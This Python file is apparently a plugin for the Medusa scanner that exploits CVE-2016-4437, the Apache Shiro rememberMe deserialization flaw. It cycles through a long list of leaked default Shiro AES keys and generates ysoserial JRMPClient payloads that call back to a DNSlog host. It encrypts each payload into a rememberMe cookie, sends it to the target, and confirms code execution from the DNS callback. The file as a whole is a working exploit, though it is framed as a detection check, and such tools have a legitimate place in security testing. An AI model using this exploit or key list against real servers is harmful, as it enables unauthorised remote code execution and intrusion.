#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,GetToolFilePath,ErrorHandling,Proxies,Dnslog,ThreadPool
import urllib3
import requests
import uuid
import base64
import time
import subprocess
from Crypto.Cipher import AES
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2016-4437" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-2-19"  # 插件编辑时间
        self.info['disclosure'] = '2016-6-7'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "ShiroRememberMeDeserializationCommandExecutionVulnerability"  # 插件名称
        self.info['name'] ='ShiroRememberMe反序列化命令执行漏洞' #漏洞名称
        self.info['affects'] = "Shiro"  # 漏洞组件
        self.info['desc_content'] = "ApacheShiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "Shiro低于<1.2.4版本，由于秘钥泄露高于1.24版本的也会执行代码"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新Shiro版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(Url:str,Headers:dict,proxies:str=None,**kwargs)->None:

    proxies=Proxies().result(proxies)
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    ExpClass = "JRMPClient"
    CipherKey = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==",
                 "4AvVhmFLUs0KTA3Kprsdag==", "5AvVhmFLUs0KTA3Kprsdag==",
                 "5aaC5qKm5oqA5pyvAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "bWljcm9zAAAAAAAAAAAAAA==",
                 "wGiHplamyXlVB11UXWol8g==",
                 "Z3VucwAAAAAAAAAAAAAAAA==", "MTIzNDU2Nzg5MGFiY2RlZg==", "U3ByaW5nQmxhZGUAAAAAAA==",
                 "fCq+/xW488hMTCD+cmJ3aQ==", "1QWLxg+NYmxraMoxAXu/Iw==", "ZUdsaGJuSmxibVI2ZHc9PQ==",
                 "L7RioUULEFhRyxM7a2R/Yg==",
                 "r0e3c16IdVkouZgk1TKVMg==", "bWluZS1hc3NldC1rZXk6QQ==", "a2VlcE9uR29pbmdBbmRGaQ==",
                 "WcfHGU25gNnTxTlmJMeSpw==",
                 "OY//C4rhfwNxCQAQCrQQ1Q==",
                 "5J7bIJIV0LQSN3c9LPitBQ==",
                 "f/SY5TIve5WWzT4aQlABJA==",
                 "bya2HkYo57u6fWh5theAWw==",
                 "WuB+y2gcHRnY2Lg9+Aqmqg==",
                 "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",
                 "3qDVdLawoIr1xFd6ietnwg==",
                 "ZWvohmPdUsAWT3=KpPqda",
                 "YI1+nBV//m7ELrIyDHm6DQ==",
                 "6Zm+6I2j5Y+R5aS+5ZOlAA==",
                 "2A2V+RFLUs+eTA3Kpr+dag==",
                 "6ZmI6I2j3Y+R1aSn5BOlAA==",
                 "SkZpbmFsQmxhZGUAAAAAAA==",
                 "2cVtiE83c4lIrELJwKGJUw==",
                 "fsHspZw/92PrS3XrPW+vxw==",
                 "XTx6CKLo/SdSgub+OPHSrw==",
                 "sHdIjUN6tzhl8xZMG3ULCQ==",
                 "O4pdf+7e+mZe8NyxMTPJmQ==",
                 "HWrBltGvEZc14h9VpMvZWw==",
                 "rPNqM6uKFCyaL10AK51UkQ==",
                 "Y1JxNSPXVwMkyvES/kJGeQ==",
                 "lT2UvDUmQwewm6mMoiw4Ig==",
                 "MPdCMZ9urzEA50JDlDYYDg==",
                 "xVmmoltfpb8tTceuT5R7Bw==",
                 "c+3hFGPjbgzGdrC+MHgoRQ==",
                 "ClLk69oNcA3m+s0jIMIkpg==",
                 "Bf7MfkNR0axGGptozrebag==",
                 "1tC/xrDYs8ey+sa3emtiYw==",
                 "ZmFsYWRvLnh5ei5zaGlybw==",
                 "cGhyYWNrY3RmREUhfiMkZA==",
                 "IduElDUpDDXE677ZkhhKnQ==",
                 "yeAAo1E8BOeAYfBlm4NG9Q==",
                 "cGljYXMAAAAAAAAAAAAAAA==",
                 "2itfW92XazYRi5ltW0M2yA==",
                 "XgGkgqGqYrix9lI6vxcrRw==",
                 "ertVhmFLUs0KTA3Kprsdag==",
                 "5AvVhmFLUS0ATA4Kprsdag==",
                 "s0KTA3mFLUprK4AvVhsdag==",
                 "hBlzKg78ajaZuTE0VLzDDg==",
                 "9FvVhtFLUs0KnA3Kprsdyg==",
                 "d2ViUmVtZW1iZXJNZUtleQ==",
                 "yNeUgSzL/CfiWw1GALg6Ag==",
                 "NGk/3cQ6F5/UNPRh8LpMIg==",
                 "4BvVhmFLUs0KTA3Kprsdag==",
                 "MzVeSkYyWTI2OFVLZjRzZg==",
                 "CrownKey==a12d/dakdad",
                 "empodDEyMwAAAAAAAAAAAA==",
                 "A7UzJgh1+EWj5oBFi+mSgw==",
                 "YTM0NZomIzI2OTsmIzM0NTueYQ==",
                 "c2hpcm9fYmF0aXMzMgAAAA==",
                 "i45FVt72K2kLgvFrJtoZRw==",
                 "U3BAbW5nQmxhZGUAAAAAAA==",
                 "ZnJlc2h6Y24xMjM0NTY3OA==",
                 "Jt3C93kMR9D5e8QzwfsiMw==",
                 "MTIzNDU2NzgxMjM0NTY3OA==",
                 "vXP33AonIp9bFwGl7aT7rA==",
                 "V2hhdCBUaGUgSGVsbAAAAA==",
                 "Z3h6eWd4enklMjElMjElMjE=",
                 "Q01TX0JGTFlLRVlfMjAxOQ==",
                 "ZAvph3dsQs0FSL3SDFAdag==",
                 "Is9zJ3pzNh2cgTHB4ua3+Q==",
                 "NsZXjXVklWPZwOfkvk6kUA==",
                 "GAevYnznvgNCURavBhCr1w==",
                 "66v1O8keKNV3TTcGPK1wzg==",
                 "SDKOLKn2J1j/2BHjeZwAoQ==",
                 ]
    BLOCK_SIZE = AES.block_size
    PAD_FUNC = lambda s: s + ((BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)).encode()
    AES_MODE = AES.MODE_CBC
    AES_IV = uuid.uuid4().bytes
    payload_url = scheme + "://" + url + ":" + str(port)
    YsoserialPath=GetToolFilePath().Result()+"ysoserial.jar"
    Pool=ThreadPool()
    try:
        for key in CipherKey:
            DL = Dnslog()
            popen = subprocess.Popen(["java", "-jar", YsoserialPath, ExpClass, DL.dns_host()], stdout=subprocess.PIPE)
            file_body = PAD_FUNC((popen).stdout.read())
            Pool.Append(task,Pool=Pool,url=url,file_body=file_body,key=key,AES_MODE=AES_MODE,AES_IV=AES_IV,payload_url=payload_url,DL=DL,proxies=proxies,Uid=kwargs.get("Uid"),Sid=kwargs.get("Sid"))
        Pool.Start(20)#启动线程池
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorLog().Write("Plugin Name:"+_+" ThreadPool ",e)  # 调用写入类传入URL和错误插件名

def task(**kwargs):
    DL=kwargs.get("DL")
    payload_url=kwargs.get("payload_url")
    key=kwargs.get("key")
    url=kwargs.get("url")
    try:
        encryptor = AES.new(base64.b64decode(key), kwargs.get("AES_MODE"), kwargs.get("AES_IV"))
        base64_ciphertext = base64.b64encode(kwargs.get("AES_IV") + encryptor.encrypt(kwargs.get("file_body")))
        cookies = {"jeesite.session.id": "3f8a61ec-27e2-425c-9724-f96ba0c1e512",
                   "rememberMe": base64_ciphertext.decode()}
        requests.get(payload_url, cookies=cookies,  proxies=kwargs.get("proxies"), timeout=6, verify=False)
        time.sleep(3)
        if DL.result():
            Medusa = "{} 存在ShiroRememberMe反序列化命令执行漏洞(CVE-2016-4437)\r\n验证数据:\r\n漏洞位置:{}\r\n秘钥:{}\r\nHeaders请求头:{}\r\nDNSLOG请求值:{}\r\nDNSLOG数据:{}\r\n".format(
                url, payload_url, key, cookies, DL.dns_host(), DL.dns_text())
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, url, Uid=kwargs.get("Uid"),Sid=kwargs.get("Sid")).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url), str(Medusa))  # 写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        ErrorLog().Write("Plugin Name:" + _ + " || Target Url:" + url, e)  # 调用写入类传入URL和错误插件名


